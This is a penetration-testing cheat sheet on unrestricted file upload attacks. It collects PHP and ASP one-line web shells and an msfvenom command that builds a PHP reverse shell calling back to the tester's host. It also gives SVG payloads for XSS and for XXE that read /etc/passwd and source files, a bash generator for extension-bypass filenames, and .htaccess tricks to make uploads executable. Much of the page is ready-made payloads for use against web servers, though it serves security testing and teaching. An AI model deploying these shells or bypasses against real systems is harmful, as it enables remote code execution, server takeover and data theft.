# Unrestricted File Upload

Occurs when a user's files are taken as input and these files are not properly checked or sanitized.

**Steps**:

* Search for file upload points
* Identify target language/framework, such as `php` and `asp`\
  (ex. use [Wappalyzer](https://www.wappalyzer.com/) or ffuf with `index.<extension>`)
* Try to upload executable files compatible with the target language/framework
* Try to access the file for execution

## Web Shell

Although reverse shells are always preferred over web shells because they provide the most interactive method of controlling the compromised server, they may not always work and we may have to rely on web shells instead. This can happen for a number of reasons, such as having a firewall on the back-end network that prevents outgoing connections or if the web server disables functions needed to initiate a connection with us.

### PHP

{% code overflow="wrap" %}
```html
<pre style="text-align:left;"> .. <PHP> .. </pre>
```
{% endcode %}

{% code overflow="wrap" %}
```
<?php echo shell_exec($_GET['cmd']);?>
<?php system($_REQUEST['cmd']);?>
<?php echo passthru($_GET['cmd']); ?>
<?php passthru($_REQUEST['cmd']); ?>
<?php echo exec($_POST['cmd']); ?>
```
{% endcode %}

<table data-header-hidden><thead><tr><th width="236"></th><th></th></tr></thead><tbody><tr><td><a href="https://github.com/Arrexel/phpbash">phpbash</a></td><td>A semi-interactive PHP shell</td></tr><tr><td><a href="https://github.com/pentestmonkey/php-reverse-shell">pentestmonkey</a></td><td>PHP reverse shell.</td></tr><tr><td>msfvenom</td><td><code>msfvenom -p php/reverse_php LHOST=OUR_IP LPORT=OUR_PORT -f raw > reverse.php</code></td></tr></tbody></table>

### .NET (.asp)

{% code overflow="wrap" %}
```aspnet
<% eval request('cmd') %>
```
{% endcode %}

### Other

<table data-header-hidden><thead><tr><th width="260"></th><th></th></tr></thead><tbody><tr><td><a href="https://github.com/danielmiessler/SecLists/tree/master/Web-Shells">SecLists</a></td><td>Web shell for different languages</td></tr><tr><td><a href="https://github.com/jbarcia/Web-Shells/tree/master/laudanum">laudanum</a></td><td>Same.</td></tr><tr><td>msfvenom</td><td>Like in PHP but also for other languages.</td></tr><tr><td><a href="https://github.com/cli-ish/non-alphanumeric-webshell">non-alphanumeric-webshell</a></td><td>Small php shell non alphanumeric</td></tr></tbody></table>

## SVG image

See also [XXE](xxe).

{% code overflow="wrap" %}
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
    <rect x="1" y="1" width="1" height="1" fill="green" stroke="black" />
    <script type="text/javascript">alert(window.origin);</script>
</svg>
```
{% endcode %}

{% code overflow="wrap" %}
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>
```
{% endcode %}

{% code overflow="wrap" %}
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<svg>&xxe;</svg>
```
{% endcode %}

## Bypassing Filters

### Client-Side

<table data-header-hidden><thead><tr><th width="160"></th><th></th></tr></thead><tbody><tr><td>JavaScript</td><td>Possibility to delete or modify the JavaScript code that performs the loading check.</td></tr><tr><td>Richieste</td><td>Intercept requests with BurpSuite and change the filename, data in the post, and Content-Type.</td></tr></tbody></table>

### Server-Side

{% tabs %}
{% tab title="Blacklist Filters" %}
Test that the file extension is not in a list of prohibited extensions.

<table data-header-hidden><thead><tr><th width="238"></th><th></th></tr></thead><tbody><tr><td>Fuzzing Extensions</td><td>Perform extension fuzzing in search of allowed extensions to bypass filtering. <em>(BurpSuite Intruder, ffuf, etc.)</em><br>Wordlists: <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Extension%20ASP">.NET</a>, <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Extension%20PHP/extensions.lst">PHP</a>, <a href="https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-extensions.txt">ALL</a></td></tr><tr><td>Lower/Uppercase</td><td>It is possible to try lowercase and uppercase mixes.<br><code>php</code> —> <code>pHp</code>,  <code>PhP</code>, <code>…</code></td></tr><tr><td>Add Trailing Characters</td><td>Some components will strip or ignore trailing whitespaces, dots, and suchlike: <code>exploit.php.</code></td></tr><tr><td>URL encoding</td><td>For dots, forward slashes, and backward slashes.<br>If the value isn't decoded when validating the file extension, but is later decoded server-side, this can also allow you to upload malicious files that would otherwise be blocked: <code>exploit%2Ephp</code></td></tr><tr><td>Stripping</td><td><code>exploit.p</code><mark style="color:red;"><code>.php</code></mark><code>hp</code></td></tr></tbody></table>
{% endtab %}

{% tab title="Whitelist Filters" %}
Test that the file extension is in a list of allowed extensions.

<table data-header-hidden><thead><tr><th width="230"></th><th></th></tr></thead><tbody><tr><td>Double Extensions</td><td>I can try double extension injection. The check could be done only on the first extension. If it is done on the last extension instead, it is possible that the first extension is considered in the reading phase</td></tr><tr><td>Character Injection</td><td>Insert different special characters in different places to cause the web application to misinterpret the filename and execute the uploaded file. Each character has a specific use case.</td></tr></tbody></table>

Use the [**generator**](#double-extension-generator-with-special-characters) below.
{% endtab %}

{% tab title="Type Filters" %}
Many modern web servers and web applications also test the contents of the uploaded file to ensure that it matches the specified type.\
Two common methods for validation: **Content-Type header** or **File Content**.

<table data-header-hidden><thead><tr><th width="230"></th><th></th></tr></thead><tbody><tr><td>Fuzzing Content-Type</td><td>If web server validates on the <a href="../../../utility/service/http-https-80-443#media-type-full-list">Content-Type</a> field, you can try fuzzing that field to find allowed types.</td></tr><tr><td>MIME-Type</td><td>The type of a file is determined by its general format and byte structure, usually by checking the first few bytes of the file's contents, which contain the file's signature (<a href="https://en.wikipedia.org/wiki/List_of_file_signatures">magic bytes</a>).<br>ex. Add <code>GIF8</code> at the beginning</td></tr></tbody></table>
{% endtab %}
{% endtabs %}

#### Double Extension generator with special characters

* In the first for put the special characters you want.
* In the second for put the extensions you want.
* Add the combinations you want.

{% code overflow="wrap" %}
```bash
for char in '%20' '%0a' '%00' '\x00' '%0d0a' '/' '.\\' '.' '…' ':' ';'; do
    for ext in '.php' '.phps'; do
        echo "shell$char$ext.jpg" >> wordlist.txt
        echo "shell$ext$char.jpg" >> wordlist.txt
        echo "shell.jpg$char$ext" >> wordlist.txt
        echo "shell.jpg$ext$char" >> wordlist.txt
    done
done
```
{% endcode %}

Check that wordlist files do not have `\r` at the end: `sed -i "s/\r$//" extensions.lst`

### Web Shell Upload via Path Traversal

A directory to which user-supplied files are uploaded will likely have much stricter controls than other locations on the filesystem that are assumed to be out of reach for end users. If you can find a way to upload a script to a different directory that's not supposed to contain user-supplied files, the server may execute your script after all.\
Try with [path traversal](file-inclusion-path-traversal) in `filename` field in `multipart/form-data`.

### **Overriding the Server Configuration**

Apache have the directives in `/etc/apache2/apache2.conf`.\
Many servers also allow developers to create special configuration files within individual directories in order to override or add to one or more of the global settings.

You may occasionally find servers that fail to stop you from uploading your own malicious configuration file. In this case, even if the file extension you need is blacklisted, you may be able to trick the server into mapping an arbitrary, custom file extension to an executable MIME type.

{% tabs %}
{% tab title="Apache" %}
File: `.htaccess`

```apacheconf
LoadModule php_module /usr/lib/apache2/modules/libphp.so
    AddType application/x-httpd-php .php
```

```apacheconf
AddType application/x-httpd-php .l33t
```
{% endtab %}

{% tab title="IIS" %}
File: `web.config`

```xml
<staticContent>
    <mimeMap fileExtension=".json" mimeType="application/json" />
    </staticContent>
```
{% endtab %}
{% endtabs %}

### Exploiting File Upload Race Conditions

Some websites upload the file directly to the main filesystem and then remove it again if it doesn't pass validation. This kind of behavior is typical in websites that rely on anti-virus software and the like to check for malware. This may only take a few milliseconds, but for the short time that the file exists on the server, the attacker can potentially still execute it.
